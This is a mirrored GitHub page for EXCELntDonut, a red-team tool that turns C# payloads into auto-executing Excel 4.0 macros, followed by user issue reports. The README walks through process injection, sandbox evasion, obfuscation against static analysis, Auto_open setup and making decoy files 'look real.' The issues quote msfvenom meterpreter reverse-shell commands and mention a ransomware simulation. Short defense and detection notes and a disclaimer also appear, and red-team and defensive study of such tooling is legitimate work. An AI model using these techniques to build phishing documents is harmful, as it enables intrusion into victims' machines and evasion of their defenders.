Giter VIP home page Giter VIP logo

excelntdonut's Introduction

_______  ______ _____ _           _   ____                    _   
| ____\ \/ / ___| ____| |    _ __ | |_|  _ \  ___  _ __  _   _| |_ 
|  _|  \  / |   |  _| | |   | '_ \| __| | | |/ _ \| '_ \| | | | __|
| |___ /  \ |___| |___| |___| | | | |_| |_| | (_) | | | | |_| | |_ 
|_____/_/\_\____|_____|_____|_| |_|\__|____/ \___/|_| |_|\__,_|\__|
                    by @JoeLeonJr (@FortyNorthSec)                

EXCELntDonut is a XLM (Excel 4.0) macro generator. Start with C# source code (EXE) and end with a XLM (Excel 4.0) macro that will execute your code in memory. XLM (Excel 4.0) macros can be saved in .XLS files.

Installation

chmod +x install.sh
./install.sh

What is installed?

  • pip3
  • mono-complete (both mcs and all possible libraries you'd reference in your source files)
  • EXCELntDonut as a CLI

If you'd like to run EXCELntDonut as just a python script, you'll need to setup a virtual environment with two packages "pandas" and "donut-shellcode". Additionally, you'll need to apt-get install mono-complete and call the drive.py script using python3. We recommend just using the ./install.sh bash script, but it's up to you.

Usage

Usage:
	$ EXCELntDonut -f exe_source.cs -r System.Windows.Forms.dll --sandbox --obfuscate

Flags:
	(required)
	-f path to file containing your C# soure code (exe only)

	-r References needed to compile your C# code (same ones for when using mcs to compile on Linux)
	(ex: -r 'System.Management')

	(optional)
	-o output filename
	--sandbox 
		Perform basic sandbox checks. This will be updated as new approaches are discovered.
	--obfuscate 
		Perform basic macro obfuscation. 

How it works

You provide a C# file containing your payload (like an EXE with a main method that executes a cobalt strike beacon payload). That C# file is compiled using MCS into two .NET assemblies: x86 and x64. After compilation, the awesome tools Donut (for x86) and CLRvoyance (for x64) convert each assembly into position independent shellcode. Next, all nullbytes are removed, since XLM (Excel 4.0) macros don't play nicely with nullbytes and the payload is chunked into lines with no more than 255 characters (for x86) or 10 characters (for x64).

Once the shellcode is prepared, it's combined with basic process injection functions (VirtualAlloc, WriteProcessMemory and CreateThread) as well as an architecture check function to determine which payload (x86 or x64) to run on the target system. If you elect to execute sandbox checks or basic obfuscation, then those functions will update your macro. Finally, the output is placed in a CSV file (saved as .txt).

How to create a XLM (Excel 4.0) Macro

Once you have the output file from EXCELntDonut, open the output file in a text editor and copy the entirety of it (Ctrl-A, Ctrl-S). Open up Excel on a Windows VM, right-click on "Sheet 1" and select "Insert". Choose "MS Excel 4.0 Macro". Go to cell A1 and paste the EXCELntDonut output. All the data will likely be pasted in one column. The data is semi-colon separated ";". Go to the "Data" tab and then click "Text-to-columns". Select "Delimited" and on the next screen select "Semicolon" and then click "Finish". The macro will spread across the appropriate columns and rows.

(Note - if you selected the "--obfuscate" flag, you'll need to scroll horizontally quite a bit to find your actual code, since part of the obuscation logic moves the macro into a random section of the worksheet).

We recommend two things at this point:

  1. Find the starting cell (will be the top-left cell of your macro code, likely A1). Right-click and select "Run". Test out your macro to make sure it works.
  2. Once you verify that the macro works, select that same top-left cell again. On the left-side of the screen, there should be a dropdown that says the cell you're in (likely "A1"). Click in the dropdown and change the text value to "Auto_open". That will produce the same automatic execution functionality that you're used to in VBA macros.

Save the file (.xls) and try opening it up. It should automatically execute your payload.

Sandbox Checks

These checks are based on what actual threat actors are using in their malware.

  1. Is there a mouse active?
  2. Is the screen size greater than 770 width and 381 height?
  3. Can the host play sounds?
  4. Is this a Windows machine?

Obfuscation

  1. For the process injection instructions (VirtuaAlloc, WriteProcessMemory, CreateThread) and sandbox checks, all macro functions will turn into the following structure:
=FORMULA(D3&D23&D54&D23&D44,E45)

The FORMULA function allows us to place a formula, which can later be executed, into another cell. So in this case, we put the process injection instructions and then use the FORMULA function to place the actual function into another cell to be executed. This avoids defenders conducting static analysis from seeing things like "VirtualAlloc".

  1. The entire macro will shift some value to the right, so that when you initially open up the sheet with the macros, it appears blank.

Things to know

  • Less sophisticated payloads just uses the =EXEC() command to execute commands. Some also use URLMON to download files. Other files even includes the word "SHELL". All of that seemed like a bad idea to us. This tool doesn't include any of that. Instead it injects your C# source code into the Excel process (either 32-bit or 64-bit) and then executes. From there, it's up to your payload on what it does next. .

Tips

  • Your C# source code could do anything you want it to. We recommend your source code break the Parent > Child relationship between Excel and whatever you spawn into.
  • There's a lot of good blog posts about "Very Hidden" excel sheets. Consider using that.
  • Don't forget to make your Excel file look real.

Troubleshooting

"The type or namspace name ... does not exist ... "
root@excelntdonut-test:/opt# EXCELntDonut -f test.cs
 _______  ______ _____ _           _   ____                    _   
| ____\ \/ / ___| ____| |    _ __ | |_|  _ \  ___  _ __  _   _| |_ 
|  _|  \  / |   |  _| | |   | '_ \| __| | | |/ _ \| '_ \| | | | __|
| |___ /  \ |___| |___| |___| | | | |_| |_| | (_) | | | | |_| | |_ 
|_____/_/\_\____|_____|_____|_| |_|\__|____/ \___/|_| |_|\__,_|\__|
                    by @JoeLeonJr (@FortyNorthSec)                
[i] Generating your x86 .NET assembly.
warning CS8001: SDK path could not be resolved
test.cs(2,14): error CS0234: The type or namespace name `Management' does not exist in the namespace `System'. Are you missing an assembly reference?

This error most likely means you're missing a reference assembly during compilation using mono. To fix this, simply pass in the namespace mentioned into the -r flag. In this case, we'd add -r 'System.Management' to the command line. The new command would be:

root@excelntdonut-test:/opt# EXCELntDonut -f test.cs -r 'System.Management'
"Metadata file ... could not be found"
root@excelntdonut-test:/opt# EXCELntDonut -f test.cs -r System.Management
 _______  ______ _____ _           _   ____                    _   
| ____\ \/ / ___| ____| |    _ __ | |_|  _ \  ___  _ __  _   _| |_ 
|  _|  \  / |   |  _| | |   | '_ \| __| | | |/ _ \| '_ \| | | | __|
| |___ /  \ |___| |___| |___| | | | |_| |_| | (_) | | | | |_| | |_ 
|_____/_/\_\____|_____|_____|_| |_|\__|____/ \___/|_| |_|\__,_|\__|
                    by @JoeLeonJr (@FortyNorthSec)                
[i] Generating your x86 .NET assembly.
warning CS8001: SDK path could not be resolved
error CS0006: Metadata file `System.Management' could not be found

[x] Error in generating x86 .NET assembly using MCS. See error message above.

This error should not pop up unless you run EXCELntDonut without using the install.sh bash script. In that case, you'll need to manually install mono-complete. This will download the relevant dependencies. You can install it using apt like this:

apt-get install mono-complete
"Program ... does not contain a static 'Main' method ..."
root@kali:~/Desktop# EXCELntDonut -f test.cs
 _______  ______ _____ _           _   ____                    _   
| ____\ \/ / ___| ____| |    _ __ | |_|  _ \  ___  _ __  _   _| |_ 
|  _|  \  / |   |  _| | |   | '_ \| __| | | |/ _ \| '_ \| | | | __|
| |___ /  \ |___| |___| |___| | | | |_| |_| | (_) | | | | |_| | |_ 
|_____/_/\_\____|_____|_____|_| |_|\__|____/ \___/|_| |_|\__,_|\__|
                    by @JoeLeonJr (@FortyNorthSec)                
[i] Generating your x86 .NET assembly.
error CS5001: Program `_excelntdonut_GJAoNuVPMcX.exe' does not contain a static `Main' method suitable for an entry point

[x] Error in generating x86 .NET assembly using MCS. See error message above.

At the moment, EXCELntDonut only allows C# files with payloads in the Main function.

General Troubleshooting Advice
  1. First, compile your C# source code using csc on windows and execute to verify that the payload works. Test this out by compiling to x86 and x64 payloads, since it's likely you won't know if your target environment operates 32-bit or 64-bit Excel.
  2. You should be able to run your payload multiple times in the same process, but if you're getting weird errors, exit it out of Excel, re-open and retry.
  3. When in doubt, close out of Excel and create a new file to test from.

Detection

There's a lot of posts about using OLEDUMP.py to review XLM files. Consider this one:

https://clickallthethings.wordpress.com/2020/04/06/covid-19-excel-4-0-macros-and-sandbox-detection/

Defense

  1. Enable GPO blocking macro execution for files downloaded from the internet. See - https://www.microsoft.com/security/blog/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/
  2. AMSI unfortunately doesn't help here.
  3. ASR Rules...we're not sure.
  4. Most users send .xlsx files these days. Perhaps block .xls files from being sent to your employees' inboxes. It wouldn't be outrageous to request someone re-send a file saved as .xlsx.
  5. The most recent version of Defender ATP caught the unobfuscated version of this file when dropped to disk.

Acknowledgments

This wouldn't even be on our radar without the fantastic work done by the folks at Outflank (@outflanknl). Special thanks to @StanHacked for his insight during this project. Also, equally, this project would not be possible without Donut (by @TheWover and @odzhan) and the related python library (by @byt3bl33d3r). Related, the team at Accenture created CLRvoyance, which solved some x64 issues we couldn't figure out with Donut + XLM 4.0 macros. Finally, thanks to Philip Tsukerman with Cybereason for the awesome research on making XLM macros compatible with 64-bit versions of Excel.

Disclaimer

We are not responsible for misuse of this tool. This tool was generated for educational and authorized-testing purposes to demonstrate how C# source code can be injected into memory using a XLM (Excel 4.0) macro. The ultimate goal of this project is to (1) provide red teamers another phishing payload option to emulate what actual adversaries are currently using, and (2) provide defenders a frame of reference for building analytics and mitigations. Without a tool to quickly generate this type of payload, we believe defenders will not be adequately prepared for what's actually coming their way. Please act responsibly.

License

Please see the license file in this folder. Please note that this tool incorporates two other open source tools including Donut and CLRvoyance.

excelntdonut's People

Contributors

christruncer avatar fuckup1337 avatar joeleonjr avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

excelntdonut's Issues

Issue regarding choosing correct architecture

Had a question regarding being able to choose the architecture type. It seems that no matter what type of architecture the payload is, the tool will trying compiling both the x86 version and x64 version which causes problems. For example, if I have a x64 based input file, it gives a seg fault when trying to mess with the x86 side of the code. Was just wondering if this was intentional or if I'm missing something. For now, I tried commenting out the x86 related pieces of code which seems to work but again just wanted to double check.

Possible Issue with install

I had an earlier version installed for testing and tried to install this one (install appears to have worked fine. But i get the following error when running script. I think the submodule isnt being downloaded (i did try to download it as well). But im not sure any help is appreciated.

`root@Kali: EXCELntDonut -f templates/processInjection.cs


| \ / / | | | _ __ | || _ \ ___ _ __ _ | |
| | \ / | | | | | | ' | | | | |/ _ | ' | | | | |
| |
/ \ |
| |
| |
| | | | |
| |
| | () | | | | || | |_
|//__||_|| ||_|___/ _/|| ||_,|__|
by @joeleonjr (@FortyNorthSec)
[i] Generating your x86 .NET assembly.
[i] Generating shellcode from x86 .NET assembly file.
[i] Removing null bytes from x86 shellcode with msfvenom
Attempting to read payload from STDIN...
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a bad character (index=209, char=0x00)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with A key could not be found for the Call+4 Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=72, char=0x00)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with A key could not be found for the Variable-length Fnstenv/mov Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive failed with Encoding failed due to a bad character (index=633, char=0x00)
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 30683 (iteration=0)
x86/xor_dynamic chosen with final size 30683
Payload size: 30683 bytes
Saved as: _excelntdonut_NqeDGNigJTo2.bin
[i] Null bytes removed for x86.
[i] Generating your x64 .NET assembly.
[i] Generating shellcode from x64 .NET assembly file.
Traceback (most recent call last):
File "/usr/local/bin/EXCELntDonut", line 11, in
load_entry_point('EXCELntDonut', 'console_scripts', 'EXCELntDonut')()
File "/home/user/EXCELntDonut/EXCELntDonut/drive.py", line 77, in main
x64Shellcode, x64Size, x64Count = generateShellcode(args,'x64')
File "/home/user/EXCELntDonut/EXCELntDonut/drive.py", line 198, in generateShellcode
s = generateCLRvoyanceShellcode(randExeName)
File "/home/user/EXCELntDonut/EXCELntDonut/drive.py", line 524, in generateCLRvoyanceShellcode
bootstrap = open(path + "/CLRvoyance/sc-64-clr", 'rb').read()
FileNotFoundError: [Errno 2] No such file or directory: '/home/user/EXCELntDonut/EXCELntDonut/CLRvoyance/sc-64-clr'`

Not working

Using processinjection.cs.

Generated / //msfvenom -p windows/meterpreter/reverse_tcp LHOST=X LPORT=X EXITFUNC=thread -f csharp -a x86
Generated // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=X LPORT=X EXITFUNC=thread -f csharp -a x64

Output > excelntdonut.txt

Go to cell A1 and paste the EXCELntDonut output. All the data will likely be pasted in one column. The data is semi-colon separated ";". Go to the "Data" tab and then click "Text-to-columns". Select "Delimited" and on the next screen select "Semicolon" and then click "Finish".

Done

/

Not working finally, also when using obfuscate and sandbox formula is too long

Segmentation fault generating shellcode from x64 .Net assembly

Trying to step through the process using the included templates/msg.cs template, I get a seg fault apparently during shellcode generation for x64. I originally tried to use EXCELntDonut in a pipenv on an xubuntu vm, but got the same result on a kali vm using the recommended install. I am not ruling out that I am doing something wrong, either.

`kali@kali:~/src/EXCELntDonut$ EXCELntDonut -f templates/msg.cs -r System.Windows.Forms.dll


| \ / / | | | _ __ | || _ \ ___ _ __ _ | |
| | \ / | | | | | | ' | | | | |/ _ | ' | | | | |
| |
/ \ |
| |
| |
| | | | |
| |
| | () | | | | || | |_
|//__||_|| ||_|___/ _/|| ||_,|__|
by @joeleonjr (@FortyNorthSec)
[i] Generating your x86 .NET assembly.
[i] Generating shellcode from x86 .NET assembly file.
[i] Removing null bytes from x86 shellcode with msfvenom
Attempting to read payload from STDIN...
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a bad character (index=901, char=0x00)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with A key could not be found for the Call+4 Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=267, char=0x00)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with A key could not be found for the Variable-length Fnstenv/mov Dword XOR Encoder encoder.
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive failed with Encoding failed due to a bad character (index=63, char=0x00)
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 26063 (iteration=0)
x86/xor_dynamic chosen with final size 26063
Payload size: 26063 bytes
Saved as: _excelntdonut_qoZkowlHO2.bin
[i] Null bytes removed for x86.
[i] Generating your x64 .NET assembly.
[i] Generating shellcode from x64 .NET assembly file.
Segmentation fault
kali@kali:~/src/EXCELntDonut$
`

64-bit Excel not running c# code properly

So, i've tried to run a simple ransomware simulation using the ExcelntDonut framework. I've input a c# code which encrypts the given directory. Now, this code is running and executing properly on 32-bit Excel but not working on 64-bit Excel.

No execution if macro sheet isn't the default sheet

Nice tool! I've been playing with XLM for about a month now, i had started writing a generator but I'm glad you beat me to it; XLM is kind of a pain in the ass.

I noticed that because you use ACTIVE.CELL, this macro does not execute unless the macro sheet is open in the foreground when macros are enabled. This means you can't use a decoy sheet and you can't hide the macro sheet. This is problematic especially when you're using a Donut-serialized payload; my test pop calc.exe payload had over 9000 rows of shellcode, and took over a minute to run through the SELECT/ACTIVE.CELL/NEXT loop. I think this is a big problem if you're planning on using this in the field, as a user is probably going to notice this odd behavior.

An alternative to using ACTIVE.CELL is to use GET.CELL, since this does not appear to require the macro sheet to be in the foreground; I'll try to get a POC shellcode runner using GET.CELL instead of ACTIVE.CELL in this issue soon (unless this is a known issue and you already have another solution)

The type or namespace name `Automation' does not exist in the namespace `System.Management'

Hi,
Using EXCELntDonut on Kali with a standard distro installed, I generated a CSharp payload from PowerShell Empire and tried using this project to compile and embed it into an XLS. However, the compilation gives me this error:

The type or namespace name Automation' does not exist in the namespace System.Management'. Are you missing an assembly reference?

My command is as follows:
``
EXCELntDonut -f test.cs -r System.Windows.Forms.dll,System.Management --sandbox --obfuscate

The test program contains the following uses:

using System; using System.Text; using System.Management.Automation; using System.Management.Automation.Runspaces;

Adding "System.Management.Automation" to references doesn't work as the assembly doesn't seem to exist in the mono installation, and adding the assembly manually creates further problems with runspaces.
Is there something simple I'm missing?

processInjection.cs template does not execute

Just playing with this project, and it seems to be the case that the templates/processInjection.cs template does not work out of the box. I've also had issues with other pretty basic C# code that just spawns another process. Is there some undocumented limitation here? For reference, templates/msg.cs seems to work fine, so I don't think it's anything to do with my workflow. It could however be a versioning issue, but I don't think so?

(venv) root@Kali:/opt/EXCELntDonut# pip freeze
donut-shellcode==0.9.2
numpy==1.19.2
pandas==1.1.3
python-dateutil==2.8.1
pytz==2020.1
six==1.15.0

I appreciate the work put into the project and any clarifications available :)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.